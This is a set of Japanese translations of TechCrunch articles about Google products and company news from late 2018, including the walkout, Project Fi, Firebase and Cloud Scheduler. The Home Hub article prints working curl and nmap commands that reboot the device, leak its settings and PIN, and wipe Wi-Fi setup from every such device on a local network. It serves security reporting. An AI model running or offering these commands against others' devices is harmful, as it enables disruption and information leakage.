GoogleのProject FiでVPNサービスがアップデートしセルネットワークにも拡張

GoogleのワイヤレスサービスProject Fiが今日(米国時間11/13)、メジャーアップデートにより、オプションとして常時稼働のVPNと、Wi-Fiとセル接続をスマートに切り替える方法を導入した。

FiにはすでにデフォルトでVPNサービスがあり、サポートしているほぼ200万のWi-Fiホットスポットに接続するユーザーを保護していた。今回Googleは、それをセル接続にも拡張した。“その強化されたネットワークを有効にすると、モバイルとWi-Fiのすべてのトラフィックが暗号化されて、どのネットワーク上にいても弊社の仮想プライベートネットワーク(VPN)から安全に送信される。あなたのオンラインアクティビティを他の誰も見ることができないという、安心感が得られる”、と今日の発表声明は述べている。

Googleによると、そのVPNはユーザーのすべてのトラフィックをGoogle自身からも遮蔽するし、それはユーザーのアカウントや電話番号とも無関係である。

上でGoogleが‘強化されたネットワーク’と呼んでいるものの一部がこのVPNであり、そして今日の発表の第二の部分は、Wi-Fiとモバイルネットワークの迅速な切り替えだ。これを有効にすると—そして二つの機能は共に現在ベータで、Android Piが動いているFi互換のスマートフォンでしか使えないが—Wi-Fiの接続が弱くなるとそのギャップをセルのデータ通信で填める。同社によると、これによりユーザーの時間が最大40%節約される。

これらの新しい機能がFiユーザー全員に展開されるのは、今週の終わりからだ。それらはデフォルトではoffだから、Project FiアプリのFi Network Toolsでonにしてから使用する。なお、VPNを利用するとデータの使用量が約10%増える。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Oculus GoにYouTube VRアプリが登場

本日(米国時間11/12)YouTube VRアプリが199ドルのOculus Goに登場した。これでウェブ最大のVRコンテンツライブラリーがFacebookの入門用VRデバイスで使えるようになった。

YouTubeは、通常のビデオでも没頭的ビデオのタイプでも大量のコンテンツを提供している。ここが360度コンテンツやVR180などのネイティブフォーマットを提供する最大のハブであることは間違いない。しかし、Oculusプラットフォームにとっては、ライブラリー全体を自由にアクセスできることの方がずっと重要だろう。

Oculus Goの戦略で興味深いのは、ゲームでの利用はメディア消費と比べて少数派であることだ。そんなに多くの人たちが360度ビデオを大量消費しているとは信じられない、と思うかもしれないが、実際そうではない。多くのユーザーはこのデバイスの能力の一部のみを利用して、通常の映画やテレビを見る装置として使っている。NetflixやHuluのアプリもあるほか、FacebookはOculus TVというApple TV風の環境を提供するアプリを提供しており、ソーシャルメディアにある大量の2Dコンテンツを見ることができる。

今年のOculus ConnectカンファレンスでCTO John Carmackは、ユーザーがGoで消費した時間の約70%はビデオの視聴で、30%がゲームだと話した。これまでOculusは自らをゲーム会社と位置づけてきたので、モバイルプラットフォームを成長させることによって、VRビジネスのビデオ利用をいかに魅力的にしていけるのかが注目される。

YouTubeによって、Oculusは大量のコンテンツを揃える容易な手段を手に入れた。YouTubeはOculus TVにとっても偉大なパートナーとなる可能性をもっているが、専用アプリはユーザーに多くのものをもたらすだすう。Googleは自社のVRハードウェアDaydreamが伸び悩んでいることから、スタンドアロンのYouTubeアプリをDaydreamにのみ提供するのではないかとも思われた。しかし、どうやらいまのところは外部プラットフォームに力を注ぐつもりのようだ。

YouTube VRアプリはここでダウンロードできる。

[原文へ]

(翻訳:Nob Takahashi / facebook

Googleのストライキ主催者たちはCEOの対応に満足していない

先週Googleで行われた大規模なストライキの主催者たちは、当然のことながら、要求の手を緩めるつもりがない。今日午前、Google CEO Sundar Pichaiは、要求に一部に応じてセクシャルハラスメントおよび性的暴行に関する強制仲裁を防ぎ、一連の捜査の透明性を高めるためにGoogleが何をしているかを説明した。

Googleは実際いくつかの変更を行ったが、主催者らの要求すべてに答えたわけではない。たとえば、Googleは同社の最高多様化責任者(CDO)をPichai直轄へと昇進させておらず、取締役会に社員代表を追加するという主催者の要求も無視している。

今日のMediumの記事で、主催者らはGoogleの一連の行動を称賛しつつも、Pichaiの回答が多くの重要な要求に答えていないことを指摘した。記事にはこう書かれている:

しかし、回答はいくつかの主要な問題——たとえば、多様化担当責任者の昇進や社員代表の取締役会入りなど——を無視したうえ、困ったことに「フルタイム」社員と契約社員を区別する現代版ジム・クロウ制度に組み込まれた人種差別と構造的不平等に焦点を当てた要求を無視した。契約社員はGoogle全社員の半分以上を占め、社内のさまざまな部門で重要な役割を担っていいるが、正社員に与えられている便益のごく一部かしか受け取っていない。そして彼らの大部分が有色人種、移民、あるいは労働階級の家庭に育った人たちだ。

真に公正なカルチャーを作るプロセスは、黒人女性、移民、および有色人種を中心に置く〈べき〉である——彼らはこうした問題に苦しめられることの最も多い人たちだ」とGoogle社員でストライキ主催者のDemma RodriguezがMediumの投稿に書いた。「私たちはこれを全力を尽くして実現させる。なぜなら真の公平性がかかっているからだ」
Googleの正社員および契約社員2万人による世界規模のストライキは、Googleのセクシャルハラスメント原因究明に関する悪事を暴いたNew York Times記事が発端だった。今後もストライキの主催者たちは、「有色人種女性にとって最も緊急の要求:従業員代表の取締役会への追加、最高多様化責任者の昇進、Googleだけでなく企業の機会不均衡の透明性改善と根絶、を諦めるつもりはないと語り、「すべての要望を満たすべくGoogle幹部と会うのを楽しみにしている」

Googleにはコメントを求めており、情報が入り次第本稿を更新する予定。

[原文へ]

(翻訳:Nob Takahashi / facebook

データサイエンティストたちのモデルの活用度を高めるGoogle CloudのKubeflowパイプラインとAI Hub

今日(米国時間11/8)Google Cloudが、KubeflowパイプラインとAI Hubを発表した。この二つのツールは、データサイエンティストが、自分の作ったモデルをいろんな組織や企業で共通的に利用できるようにすることが主な目的だ。

Google CloudでAIとML製品を担当しているプロダクトマネージメントのディレクターRajen Shethによると、同社は、データサイエンティストたちが、モデルを作るけどそれが一度も使われない、という経験をしょっちゅうしていることを知っている。Googleによると、機械学習を団体競技にたとえるなら、モデルはデータサイエンティストから、それらを使ってアプリケーションを作るデータエンジニアとデベロッパーにパスされなければならない。

対策としてGoogleが発表したのが、Kubeflowパイプラインだ。それはKubeflowのエクステンションで、KubeflowはKubernetesをベースとするオープンソースの機械学習用フレームワークだ。パイプラインは要するにコンテナ化されたビルディングブロックのことで、機械学習のエコシステムに属する人たちを連係させて機械学習のワークフローを作り、管理する。

そうやってモデルをコンテナに入れたら、その後データサイエンティストは必要に応じてその中のモデルを単純に調整し、継続的デリバリのようなやり方で再ローンチできる。Shethによると、これによって企業内のモデルの利用の可能性がさらに広がる。

“Kubeflowパイプラインはユーザーに、いろんなパイプラインで実験する方法を提供し、信頼性があって再現可能な環境の中で最良の結果を作りだすものはどれか、を決められる”、とShethは、この新しい機械学習機能を発表するブログ記事に書いている。

同じく今日発表されたAI Hubは、その名のとおり、データサイエンティストがそこでいろんなMLコンテンツを見つけられる場所だ。そこには、KubeflowパイプラインやJupyterノートブック、TensorFlowモジュールなどなどがあるだろう。それは一種の公開リポジトリになり、Google Cloud AIやGoogle ResearchなどGoogleのさまざまなチームが素材を提供し、研究開発に関わるGoogleの専門的知識技能をデータサイエンティストが利用できる場になる。

しかしGoogleはこのハブに、公開ライブラリ以上のものを求めている。同社の見方では、そこはチームが自分たちの企業内で情報をプライベートに共有できる場にもなって、二重の目的に奉仕する。これによって、重要なビルディングブロックが中央的なリポジトリで可利用になるから、モデルの利用の拡大に大きく貢献するだろう。

AI Hubは今日からアルファで利用でき、Googleからの初期的コンポーネントの一部や、内部的リソースを共有するためのツールが提供される。そして今後は徐々に、提供物と能力の拡大が定常的に行われる予定だ。

Googleによると、これによってモデルが汎用のビルディングブロックになり、それによりモデルを容易に共有できる方法が提供され、モデルがさまざまに実用される機会が増えるだろう。これらのツールは、それを達成するための第一歩だ。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Chromeにモバイルの会員登録詐欺(キャリア課金!)を防ぐ警告機能が登場

Googleが今日(米国時間11/8)、近くChromeブラウザーにモバイルの会員登録詐欺を防ぐ機能を設ける、と発表した。それは、ユーザーに電話番号を入力するよう求め、それに応じると勝手に月額の会費が発生し、それがキャリアへの毎月の支払額に自動的に含まれてしまう。12月のChrome 71より、そのサイトが、モバイルの会員登録であることを明示しない場合、警告をポップアップする。

ユーザーに会員登録をさせようとするサイトが一律にこの仕組みに引っかからないようにするために、Googleはデベロッパーのためのベストプラクティスを今日公開した。それによると一般的にデベロッパーは、課金情報をユーザーの目につきやすい場所・形で表示しなければならない。具体的な金額と料金体系も、表示すること。

その情報がない場合、Chromeはフルページの目立つ警告を表示する。それがユーザーにとって問題のないサイトなら、先へ進めばよい。Googleは警告表示をする前にSearch Consoleで詐欺の可能性をWebマスターに通知するが、もちろんそれが擬陽性である場合もある。

この新しい機能はモバイルとデスクトップの両方で提供され、AndroidのWebView(アプリ内Webブラウザー)にも表示される。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

GoogleがAndroidに折りたたみ式画面のサポートを加える

デベロッパーイベントのでっかい一日だった(米国時間11/7)。Samsungがステージで新製品の折りたたみ式スマートフォンを紹介しようとしているとき、Googleは同社主催のAndroid Developer Summitで情報をばらまいていた。同社は、そのモバイルオペレーティングシステムに折りたたみ式スマートフォンのサポートを加える計画を述べていた。

その生まれたばかりの技術は、今後の形状やサイズがさまざまだから、サポートが難しいだろう。そこでGoogleは、ハードウェアのパートナーたちと共同開発を進めてきた。最初の相手は、もちろんSamsungだ。Googleによると両社は、来年前半に発売予定のデバイスに関して密接に協力してきた。そのデバイスこそが、今Samsungが自社のステージでデビューさせようとしているやつだ。

Googleはそのカテゴリーを“Foldables.”(フォールダブル)と呼んでいる。

[折りたたみ画面を連続的画面として扱う]

Androidのエンジニアリング担当VP Dave Burkeは、こう説明している: “そのデバイスはスマートフォンとタブレットの兼用機だ。二画面デバイスと一画面デバイスの2機種ある。折りたたむと、スマートフォンのようにポケットやバッグに収まる。この形状の最大の特徴は、画面の連続性だ”。

Android OSに新たに加わる機能としては、画面の状態(ひらいている、たたまれている)を告げるフラグだ。その効果は、これまでのスマートフォンで、ポートレートモードとランドスケープモードでアプリケーションの表示が変わるときのような、効果になるだろう。

今目立つのはSamsungだが、フォールダブルを最初に発売するのは同社ではない。その名誉はRoyoleのFlexPaiへ行くが、でもそのハンドセットはすでに、出来栄えをけなされている。Samsung独行ではない、とは言え、マーケットリーダーはやはり同社だろう。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Google Cloudがマネージドcronサービスを提供、自分でcronするより楽?

Google Cloudに、バッチジョブを動かすためのマネージドcronサービスが登場する。そのサービスはCloud Schedulerと呼ばれ、たぶんあなたが悪戦苦闘することもあるコマンドラインの標準コマンドcronの、すべての機能を提供するが、クラウドで動かすマネージドサービスとしての信頼性と使いやすさも兼備している。

Cloud Schedulerのジョブのターゲットは、すべてのHTTP/SエンドポイントとGoogle自身のCloud Pub/Subトピック、そしてApp Engineのアプリケーションだ。デベロッパーはこれらのジョブを、Google Cloud ConsoleのUIやコマンドラインインタフェイス、あるいはAPIから管理できる。

GoogleのプロダクトマネージャーVinod Ramachandranが、今日(米国時間11/6)の発表声明でこう説明している: “cronのようなジョブスケジューラーはどんなデベロッパーの道具箱の中でも主役級の存在で、タスクのスケジューリングやシステムメンテナンスの自動化を助けている。しかしジョブスケジューラーにも、そのほかの従来的なITサービスと同じ課題がある。つまりインフラを自分で管理しなければならないし、失敗したジョブはいちいちマニュアル(手作業)でリスタートしなければならない、そして、ジョブのステータスを目で見ることができない”。

Ramachandranの説明によると、今まだベータのCloud Schedulerは、ジョブをターゲットに確実にデリバリすることを保証する。重要なジョブは確実に始動し、ジョブをAppEngineやPub/Subに送るとサクセスコードやエラーコードが返される。そして同社が強調するのは、何かがおかしくなったらCloud Schedulerに容易にリスタートさせられることだ。

もちろんこのコンセプトはGoogleが初めてではない。同様のサービスを提供しているスタートアップも数社あるし、またGoogleのコンペティターであるMicrosoftにも、同様のサービスがある。

料金は、1か月に3ジョブまでは無料、その先は1ジョブごとに月額10セントだ。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

アップルのマップが大幅に改善、植生分布や建物形状の正確さはGoogleマップを上回る評価

eng-logo-20152012年からiOSに採用されたものの、地図の不正確さや地名の間違いなどがあり、Googleマップにはるかに及ばないとの評判だったアップルのマップ(Apple Maps)。しかし最近のリニューアルにより、植生の分布や建物の形状の正確さではGoogleマップを上回っているとの評価が報じられています。

これはアップルのマップ作成に従事していたデザイナー、Justin O’Beirne氏によるもの。アップルは今年6月、米TechCrunchにマップの完全リニューアルを準備中と回答していましたが、努力の成果は反映されつつあるようです。

まずO’Beirne氏は、リニューアル後のマップがカバーしている範囲の狭さに苦言を呈しています。今のところ米国の土地面積にしてわずか3.1%、人口の4.9%にしか及んでいないとのこと。

そう保留を付けつつ、O’Beirne氏は新マップに含まれた詳細な内容を指摘しています。特に植生分布、つまり草や木の生えた領域の細かさは驚くべきもので、郊外のみならず都市の内部まで緻密に反映されているとのこと。過去のマップと新マップを重ね合わせて比較するアニメーションGIFが公開されていますが、リニューアル後は「緑」の部分が目立っています。

植生分布は道路の間や住宅地の隅々まで反映され、ゴルフコースであればフェアウェイやサンドトラップ(俗にいうバンカー)、グリーンまで。地形の詳細についても、学校の校庭やプール、公園やテニスコートといった個々の施設が判別できるこだわりようです。

さらに建物の形状もかなりの正確さ。タイトル画像にあるサンフランシスコのFive Embarcadero Centerの新旧マップ(左が旧、右が新)を見比べれば、その改善ぶりは明らかです。

新マップが完ぺきに正確というわけでもなく、O’Beirne氏は建物の高さに関していくつかの間違いが見つかっていると指摘。たとえば近くに似た形状の建物がある場合、細部に現実とのズレがある場合も例示されており、その点でアップルのアルゴリズムがGoogleのそれ(主に屋上など)に及んでいない可能性も示唆しています。

とはいえ、アップルの新マップが以前と比べて格段の進歩を遂げ、多くの点でGoogleマップを上回りつつあるのは事実のようです。羽田空港内に大王製紙が出現、JR青梅線に「パチンコガンダム駅」が誕生する事態は再来しないかもしれません。

まだ本国アメリカでもカバー率は1/30以下で、日本の地図に恩恵が及ぶのは当分先と思われますが、その日が来るのを楽しみにしたいところです。

Engadget 日本版からの転載。

もしGoogleに労働組合が組織されたらどうなる?

先週、2万人を超えるGoogle従業員が抗議のためにストを行ない、ハラスメントや差別への対応について会社に大きな改善を求めた。多くの従業員による組織が経営側に要求するーこれは古い20世紀のコンセプトのようなものをかすかに思い出させないだろうか。それが何と呼ばれていたか? その言葉は舌先まで出かかっているのだが…本当だ。

参加者の1人は「会社がDeVaulを給料支払い対象から外すのに、私たちが職場を離れるという脅しだけで十分だった」とRichard DeVaulに言及しながら語った。Richard DeVaulはGoogle幹部で、セクハラとそれよりもひどいことについて告発され、その渦中にありながら今週会社を辞めた。一方、ストを呼びかけ人は哀れっぽく「この後も私がシリコンバレーで働けることを願ってる」と語った…他の呼びかけ人はコメントを拒否した。

テック企業の従業員が経営陣に不平をぶつけることができ、選ばれた代表がグループで経営陣と話し合い、さらにはそうした人たちが報復から守られるようなフォーマルで組織化された手段があればいいのだが。撹拌するような人や、シリコンバレーの常識にとらわれない考え方をする人は、そうしたことを可能にする革新的なシステムを見つけるかもしれないーこれがSFのように聞こえるのは承知だが、まあ私に付き合って欲しいーいつの日かそうした組織が特別な法的認知や保護を成し遂げるかもしれないのだ。

しかしそれを彼らは何と呼ぶだろう。私にはわからない。おそらく、ここでは私はスピットボールを作っているだけだが、彼らは“労働組合”かそれに近いもので呼ぶかもしれない。集合演算のあとではそうなる。わかっただろうか? 結局のところ、彼らはGoogleでやっている数学のようなものが好きなのだ。

そうしたコンセプトはメリットがあるだけでデメリットがない、と私は言っているわけではない。またそれが必ずしもいいアイデアだと考えていると言っているわけでもない。しかし、こうした状況でどうして誰も公にその可能性を考えないのだろうと思う。

私が思うに、シリコンバレーは労働組合というものを、全てのスピードやイノベーションを窒息させる、獲物を絞め殺す大ヘビのようなものだと考えている。もし20世紀の労働組合の概念を適用すれば、それは事実かもしれない。労働組合は労働時間や労働条件をコントロールしようとしていた。それは、当時の製造業で働く人や肉体労働者の大きな関心事だったからだ。しかし、誰も“労働組合2.0”コンセプトについて話さえしないことに私はかなり驚いている。そのコンセプトとは、20世紀の車産業の従業員ではなく21世紀のソフトウェアエンジニアのためのものであり、スピードやフレキシビリティ、実験への開放性などを犠牲にする必要はない。

少なからずそれは、会社という組織を超えて重要な跳ね返りがあるはずだ。大きなテック企業は、少なくとも間接的に世界でも最も影響力のある存在となった。テック企業への政府による規制についての議論はぞんざいでかなり遅く、何年か前にようやく適用となったばかりだがもう本質的に時代遅れになっている。これは批判されるのは当然で、往々にして法的賠償適用となっている。

そうすると、テック大企業にとって抑制と均衡とは何なのだろう。どのような力、そしてどのような人でもって企業の正直さを保てるのだろう。答えは明白だ。従業員だ。GoogleやFacebookといった企業は、世界の数億人のユーザーの怒りより、数万人の従業員の不穏な状態を恐れる。影響としては決して完璧なレベルではないが、ないよりはマシだ。それを労働組合と呼ぶかどうかはわからないが、不平や共同の交渉、報復からの保護のためのフォーマルな組織は多くの人にとって、特に主要テック企業の従業員にとってはかなりいいアイデアになるかもしれない。

Image Credits: Wikimedia Commons under a Public Domain license.

[原文へ]

(翻訳:Mizoguchi)

GoogleのHome Hubがたった1行のコードで煉瓦になる(文鎮になる)

セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。

Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。

問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]

これも1行のコード(curlコマンド)だが、マイクロサービスの数などの情報を暴露する:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。

ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

GoogleのGboardで、自分に似た絵文字ステッカーを作ることができるようになった

この夏、Googleは独自のBitmojiである「ミニ」ステッカー(LINEでいうスタンプに相当)を、自社のキーボードアプリであるGboard上でリリースした。これは機械学習を利用して自撮り写真からイラスト版のステッカーを生成するものだ。そして本日(米国時間10月30日)、Googleはこのミニステッカー機能を拡大し、「絵文字mini」(Emoji Mini)を追加した。これはあなたに似た絵文字デザインのステッカーを提供するものだ。

先にリリースされたミニステッカーたちと同様に、新しい絵文字も機械学習技術を使って作られているとGoogleは語る。

同社によれば、このアイデアは利用者たちに、自分を絵文字でより良く表現するための手段を提供するものだという。

「絵文字miniは、絵文字の目を見つめたことはあっても、見つめ返されたことはない人たちのためにデザインされています」と、Googleはブログ投稿の中で説明している。「この毎日使うステッカーバージョンの絵文字は、あなたに似るようにカスタマイズすることが可能です」。

すなわち、あなたの絵文字に異なる色の髪(例えば緑、青、灰色など)を与えたり、ピアスを付けたりすることができる。また、帽子や、被り物、あるいは眼鏡を着用することもできる。

Googleは、ニューラルネットワークを使って肌の色調、髪型、アクセサリーを提案し、それを細かく調整することができるとしている。髪の色やヒゲの色を変えることもできるし、自分のものとはちがう帽子やメガネを選ぶこともできる。もしお望みなら、そばかすやしわを加えることもできる。

生成の結果は単なる1個の絵文字ではなく、複数のバリエーションが含まれる。たとえば、ゾンビ、魔道師、ハートの目、泣いている目、呆れたジャスチャーなどのカスタム絵文字を使うこともできる。

これは先に展開されていたミニステッカーの第3のスタイルだ。既に、これらのミニステッカーには2つのスタイルが提供されていた ―― より大げさな表情の「大胆なミニ」(bold)と「かわいいミニ」(sweet)だ。

それはささやかなもののように思えるかもしれないが、クリエイティブな絵文字は(とりわけパーソナライズされた絵文字は)メッセージングアプリにとって大きな誘因材料になる。Appleはその巧妙なアニ文字とパーソナライズされたミー文字を、その新しいFace IDの使える電話機の、代表的な機能として宣伝している。SnapchatはBitmoji(Bitstrips)を買収し、ユーザーたちにクリエイティブな表現のためのツールを提供した。Samsungでは、自分のように見えるAR絵文字を作ることができる。人びとは、Unicodeコンソーシアムが多様化のためにより多くの肌の色を取り込み、遂に赤毛を追加した決定を喜んだ。

Google Playで10億回以上ダウンロードされたGboardも、自撮りベースのステッカーのおかげで、同様の誘引力を持つことになる。

同社によれば、新しい「絵文字mini」は、今日からiOSとAndroidの両方で、すべてのGboard対応言語と国で利用可能だということだ。

[原文へ]
(翻訳:sako)

GoogleのPixel 3 XLの画面にノッチが二つ現れる…バグのせいだった

最近の2年間で、ノッチは(画面の切り欠き)は異常から正常に昇格してしまったが、中でもGoogleほどノッチが好きな企業はほかにない。Android Pieの#notchlifeからPixel 3 XLの画面上部の巨大なやつにいたるまで、Googleはまさにノッチノッチしている。

しかもAndroid Policeの記事によると、Pixel 3 XLのすてきなノッチを、Googleはもうひとつ増やした。多くのユーザーの報告によると、明らかにバグと思われる笑える現象により、このでっかいハンドセットにノッチが二つ出る。ふたつ目の切り欠きが出るのは、画面の横の方だ。

[今日は別のノッチがランダムに出るね。]

Googleはこの問題を認め、目下修復中、もうすぐ治る、と言っている。原因については何も言ってないが、Pieのノッチ機能のバグのようだ。そしてどうやらそれは、画面をポートレートモードからランドスケープモードに変えたときの背景の描き変えと関係があるらしい。

まだ2018年なのに、ノッチ二つはやりすぎだね。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

iPad Proからヘッドホンジャックが消えた

iPad Proの最新モデルにはヘッドホンジャックがない。消えてしまった。もう遅い。しかも、iPhoneに付いてくるヘッドホンも使えない。AppleはLightningを捨てUSB-Cを採用した。その代わりにAppleはUSB-C ->3.5mmの変換アダプターを9ドルで売っている

最新のiPad ProモデルはiPhoneの歩んだ道を追いかけている。iPhoneと同じくホームボタンをなくし、ヘッドホンジャックも消えた。一部ユーザーにとっては驚きの譲歩だ。iPhoneの場合、大きなポートのための場所がないことは明らかだが、理論的には、タブレットのような大型デバイスではさほど問題ではない。Apple は似たようなハードウェアのセットを使って異なる製品を作ることで利益を最大化しようとする傾向にある。iPhoneに2016年以来ヘッドホンジャックがないことから、Appleのもう一つのモバイル機器にもそのトレンドがやってくる時期が来たのだろう。

取り残されたのはヘッドホンユーザーだけではない。iPadは長年にわたり安定したオーディオコントローラーだった。これからはタブレットとステレオを直接3.5 mmケーブルでつなぐかわりに、9ドルのドングルが必要になる。ヘッドホンを使いたいって? Appleは明らかに、iPadオーナーが159ドルのAirPodsを使うことを望んでいるが、世間にはUSB-Cヘッドホンが溢れGoogle製品もある

Apple Fall Event 2018

[原文へ]

(翻訳:Nob Takahashi / facebook

Googleの開発プラットホームFirebaseのサミットがチェコのプラハで開催、エンタープライズ指向を強調

今日(米国時間10/29)プラハで行われたFirebase SummitでGoogleは、そのアプリケーション*開発プラットホームFirebaseのさまざまなアップデートを発表した。それにより同社は、同プラットホームを、個人や小さなチームのための環境であるだけでなく、本格的なエンタープライズ開発ツールにも仕立てようとしている。〔*: 開発プラットホーム; 主にWebアプリケーションとモバイルアプリが対象。参考記事。〕

Googleは4年前にFirebaseを買収して、デベロッパーがそのSDKを使って重要なクラウドツール…データベースやストレージなど…に容易に接続できるようにした。その後同社は、その上に、モニタリングなどの高度な機能を加え、パフォーマンスの問題を解決し、アプリのユーザーのエンゲージメントを知るためのアナリティクスを加えたりしてきた。でも、これまでのそれらツールキットは、必ずしも大企業を視野に入れたものではなかった。

Firebaseのプロダクト担当Francis Maが、こう語る: “今日の発表は主に、モバイルアプリの構築と成長を志向しているエンタープライズと高度なアプリチームのための、機能とアップデートが中心だ”。

たぶん今日の最大のニュースは、企業対象のサポートが加わったことだろう。毎月150万のアプリおよびアプリケーションがFirebase上で作られているというが、しかしエンタープライズに深く入り込むためには、企業のITが問題にぶつかったとき電話できるところが必要だ。そのため同社は年内に、各種のサポートパッケージをベータで発表する予定だ。それらが、さらに幅広いGoogle Cloud Platformのサポートと組み合わさる形になる。

“すでにGCPの有償サポートを受けているユーザーは、そのGoogle Cloud Platform(GCP) Support ConsoleからFirebase関連の質問に答えてもらえる。またGCPのサポートパッケージには、ターゲットのレスポンスタイムや、専用のテクニカルアカウントマネージャー(Enterprise Supportの場合)などが含まれている。Firebaseのサポートに関して、別料金は発生しない”、とMaはGoogle Cloudとの一体性をブログ記事で強調している

また、大きなチームや企業はさまざまな管理ツールを必要とするので、Googleは今日、Firebase Management APIを発表した。これによりIDEからFirebaseへの、プロジェクトのワークフローを、プログラムにより管理できるようになる。Maによると、これにはWebベースのIDE、StackBlitzとGlitchの統合も含まれている。“これらのプラットホームがFirebaseでアプリが作られていることを自動的に検出し、ボタンひとつでそれをFirebase Hostingへデプロイできるようにする。彼らのプラットホームを去る必要はない”、とMaは書いている。

そのほか、5月に発表されたGoogle MLキットの顔認識ツールへのアクセスの改良をはじめ、たくさんの発表があった。パフォーマンスモニタリングツールCrashlyticsが改良されて、PagerDutyの統合が行われた。アナリティクスツールFirebase Predictionsは、ベータを卒業して一般公開された。

これらの発表はすべて、Firebaseプラットホームの成熟を示すと同時に、単なるデベロッパーツールから、エンタープライズも視野に収めたツールへの機能拡張を、はっきりとねらっている。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Googleの社員グループ、会社の性的不品行への対応に抗議のストライキを計画

New York Timesの調査によって、Androidの開発者Andy RubinにGoogle社員との不倫や性的不品行があったにもかかわらず、会社が9000万ドルの退職金を与えたことが暴かれた。これを受け、検索巨人の社員200名がストライキを計画している。 BuzzFeed Newsが伝えた。

本誌はGoogleにコメントを求めた。

ストライキは社内フォーラムでは women’s walkと呼ばれており、木曜日(米国時間11/1)に予定されている。

NYT紙報道の後、GoogleのCEO Sundar Pichaiと人事担当VP Eileen Naughtonは連名の社内メモを発行し、過去2年間に48名がセクシャル・ハラスメントによって退職し、うち13名は上級経営陣だったことを認めた。メモによると、その中で退職報酬を受け取った者は誰もいない。

「今日のNew York Timesの記事は読むのが辛かった」と彼らは書いた。「われわれは安全で誰もを受け入れる職場を提供することに本気で取り組んでいる。セクシャル・ハラスメントや不適切な行動に関する苦情にはすべて必ず目を通し、調査のうえ行動を起こすことを約束する」

Rubinは2014年、彼の性的不品行に対する訴えが信用に足ることが内部調査によってわかった後Googleを去った。しかし、退職の詳細について公表されることはなかった。昨秋The InformationがRunbinの不法行為に関する独自の爆弾レポートを報道したことで、彼のセクシャル・ハラスメントの歴史が明かされ始めた。同誌の記事を受け、Rubinは「私事に対応する」ためにEssentialを休職した。

Google退社後、RubinはEssential Productsというスマートフォン会社を設立し、多額のVC資金を調達したものの、次期端末の開発は中止となり、社員の30%をレイオフし、報道によれば会社を売りに出したと言われている。

Rubinは先週のツイートで、NYTの記事には「不正確な内容」が数多く含まれていると主張した。

「中でも、私はホテルの部屋で女性に性行為を強要したことはない。こうした虚偽の主張は、離婚や親権争いで私の評判を落とすための中傷工作の一部だ。また、匿名のGoogle幹部が私の人事データについて事実を曲げたコメントをしていることに深く傷ついている」

[原文へ]

(翻訳:Nob Takahashi / facebook

GoogleアプリのホームページがDiscoverになる――真っ白な検索ページは過去のものに

「壊れていなければ直すな」ということわざがあるが、Googleは壊れていなくても直すのに熱心だ。先月、われわれも報じた「検索の未来」イベントで同社はウェブとモバイル・アプリのGoogle Feedをリニューアルすることを発表した。新たなホームページはGoogle Discoverと呼ばれる。Googleの代名詞になっていたミニマリズムは捨てられ、デザインはスパルタンだが従来よりはるかに多数の要素が表示される。

